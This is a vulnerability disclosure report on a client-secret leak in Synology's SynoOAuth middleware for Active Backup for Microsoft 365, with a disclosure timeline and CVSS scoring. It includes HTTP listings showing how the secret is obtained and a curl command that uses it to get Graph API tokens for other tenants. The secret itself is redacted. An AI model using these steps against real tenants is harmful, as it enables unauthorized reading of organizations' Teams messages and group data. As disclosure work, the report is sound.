



Synology Active Backup for Microsoft 365

VULNERABILITY DISCLOSURE (REPORT)

Synology Inc.

27 June 2025

Changelog

Version	Date	Author	Description
1.0	2025-04-04	modzero	Responsible disclosure
1.1	2025-06-27	modzero	Public release

Credits

The research contained in this report was conducted by Leonid Hartmann of modzero.

Disclosure Timeline

Date	Comment
2025-04-04	modzero sends responsible disclosure report to Synology and requests CVE through Synology CNA
2025-04-11	modzero inquires whether report was received
2025-04-14	Synology confirms reception of the report, points out that submissions are only accepted via their Security Bug Bounty Program
2025-04-14	modzero inquires about CVE assignment
2025-04-15	Synology offered to reward modzero for the efforts, reserved CVE - 2025-3695 for the vulnerability as a "one time exception"
2025-04-23	modzero clarifies report was not a submission for the bug bounty program, asks for description and CVSS vector of CVE - 2025-3695
2025-04-24	Synology provides assessed description and CVSS vector
2025-05-05	modzero proposes adapting CVSS vector
2025-05-07	Synology declines proposal, provides reasoning
2025-05-16	Synology publishes vulnerability advisory with CVE-ID CVE-2025-4679
2025-05-16	modzero requests to update CVSS vector and description, provides justification
2025-05-22	modzero asks for response to the feedback
2025-05-25	Synology revises advisory to fix credits, refuses justification regarding vulnerability abstract and impact
2025-06-27	modzero publishes advisory and blog post


1 Summary

Synology Active Backup for Microsoft 365 ("ABM") is a free add-on software package developed for Synology NAS servers running DSM, enabling to back up data from Microsoft 365 cloud services — including Teams, SharePoint, Exchange, and OneDrive. With ~1.2 million installations, the solution provides IT administrators of business, enterprise, and education organizations with a centralized management interface to monitor backup statuses as well as track historical data transfers.

modzero has identified a vulnerability in a middleware service hosted by Synology. This middleware is part of the ABM provisioning process and discloses a secret credential that can be used to gain unauthorized access to any organization's Microsoft Entra tenant where ABM is installed. As such, a malicious actor could access potentially sensitive company data, as the default permissions granted to these credentials includes access to all public and private Microsoft Teams channel messages as well as group related information of the tenant.

CVE

The following CVE has been assigned to the vulnerability by Synology CNA:

Finding	SynoOauth Leaks ABM App Registration Client Secret
CVE-ID	CVE-2025-4679
CVSS	 6.5 High (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)


Research Setup

The following products and versions were used in the research setup that discovered the finding:

Product	Version	Release Date
Synology DSM (NAS OS)	<= DSM 7.2.2-72806 (Update 3)	2025-02-13
Active Backup for Microsoft 365 (DSM add-on package)	<= 2.5.6-14042	2025-02-05

2 Findings

2.1 SynoOAuth Leaks ABM App Registration Client Secret

Class	<ul style="list-style-type: none">▪ CWE-522: Insufficiently Protected Credentials▪ CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Components	<ul style="list-style-type: none">▪ "Synology Active Backup for M365" app registration (b4f234da-3a1a-4f4d-a058-23ed08928904)▪ Synology Microsoft Entra tenant (9ba572a0-0623-4ab6-96ad-74cf9f3631fe)▪ SynoOAuth ABM API (synooauth.synology.com)
CVSS	 8.6 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)

Summary

The "SynoOAuth" middleware service publicly exposes Synology's "Active Backup for Microsoft 365" (ABM) app registration client secret during a setup. This credential allows malicious actors who obtain it to authenticate as the ABM service principal in any Microsoft Entra tenant where it is installed. This enables unauthorized access to potentially sensitive information through the granted application permissions across all affected tenants.

Conditions

To obtain the ABM credentials, an attacker can perform a regular ABM OAuth authorization code login flow using their own Microsoft Entra tenant and user.

Details

The "Active Backup for Microsoft 365" (ABM) software package in Synology DSM requires administrators to install Synology's published Microsoft Entra ID application within their Microsoft tenant during provisioning. This includes granting tenant wide application permissions like `Group.Read.All` and `ChannelMessage.Read.All` to the respective ABM service principal.¹

¹ https://login.microsoftonline.com/organizations/adminconsent?client_id=b4f234da-3a1a-4f4d-a058-23ed08928904

After installation, a Microsoft OAuth authorization code login flow is performed against the organization's ABM application client². The flow redirects through Synology's "SynoOAuth" middleware to finalize configuration with the NAS instance. The authorization code is subsequently used by the add-on to authenticate to the respective tenant for data backup tasks.³

The flaw occurs in the SynoOAuth middleware when a valid Microsoft authorization code is provided as part of the intended provisioning process (see Listing 1). After processing the request, the middleware responds with a HTTP 302 redirect to the user's NAS instance, which inadvertently includes the client secret of Synology's ABM app registration within the Location header (see Listing 2).

```

1 POST /ActiveBackupForMicrosoft365/dsm7_office365.php HTTP/2
2 Host: synooauth.synology.com
3 [...]
4 action=SYNOGetAccessToken&code=1.Aa4ABLPuicJgkEm4oYYvptoHGdo08rQa0k1[...]&state=SecretExp
  osurePoC&location=RandomNonValidDSMLocationURI

```

Listing 1 – HTTP POST request to the SynoOAuth ABM API endpoint containing a valid Microsoft OAuth authorization code [truncated for display]⁴

```

1 HTTP/2 302 Found
2 Server: nginx
3 [...]
4 Location: <NAS_INSTANCE>/webman/3rdparty/ActiveBackup-Office365/activebackupoffice365-
  cgi.cgi?action=oauth&graph_refresh_token=1.Aa4ABLPuicJgkEm4oYYvptoHGdo08rQa0k1[...]&[...]
  &resource=https%3A%2F%2Fgraph.microsoft.com&client_id=b4f234da-3a1a-4f4d-a058-
  23ed08928904&client_secret=ARI8Q%7EsH0uwMoX.*****[...]

```

Listing 2 – SynoOAuth middleware response containing the ABM app registration client secret within the "Location" header [redacted for display]

² https://login.microsoftonline.com/<TENANT_ID>/oauth2/v2.0/authorize?client_id=b4f234da-3a1a-4f4d-a058-23ed08928904&response_type=code&redirect_uri=https://synooauth.synology.com/ActiveBackupForMicrosoft365/dsm7_office365.php&scope=.default&state=<RANDOM_STATE_VALUE>

³ The ABM software package uses the authorization code to obtain access/refresh token.

⁴ The „state“ and „location“ parameters can be arbitrary values.

This client secret can then be leveraged by a malicious actor to obtain a Microsoft Graph API scoped access token through OAuth `client_credentials` grant of a target tenant (see Listing 3). The returned access token has all application permissions that were granted to the service principal (see Listing 4). By default, this includes permissions to query the Graph API to e.g., view all group related information as well as read all Microsoft Teams messages in all channels of the tenant.

```

1 $ curl -X POST https://login.microsoftonline.com/<TARGET_TENANT_ID>/oauth2/v2.0/token \
2   -H "Content-Type: application/x-www-form-urlencoded" \
3   -d "grant_type=client_credentials" \
4   -d "client_id=b4f234da-3a1a-4f4d-a058-23ed08928904" \
5   -d "client_secret=ARI8Q~sHOuwMoX.*****.*****" \
6   -d "scope=https://graph.microsoft.com/.default"
```

Listing 3 – cURL request to retrieve ABM service principal scoped access token using the ABM app registration credentials via a target tenant's OAuth token endpoint [redacted for display]

```

1 {
2   "aud": "https://graph.microsoft.com",
3   "iss": "https://sts.windows.net/<TARGET_TENANT_ID>/",
4   [...]
5   "app_displayname": "Synology Active Backup for M365",
6   "appid": "b4f234da-3a1a-4f4d-a058-23ed08928904",
7   [...]
8   "idtyp": "app",
9   [...]
10  "roles": [
11    "Group.Read.All",
12    "ChannelMessage.Read.All"
```

Listing 4 – Excerpt of base64-decoded Microsoft Graph JWT for ABM service principal [redacted and truncated for display]

Proof

```

1 $ echo '<ABM_APP_REGISTRATION_CLIENT_SECRET_VALUE>' -n | sha256sum
2 9fa4a67e6d39f7247728733b606048a121e2e2a28b700d6af34c426631b3e006
```

Listing 5 – "sha256sum" hash of the leaked Synology ABM app registration client secret value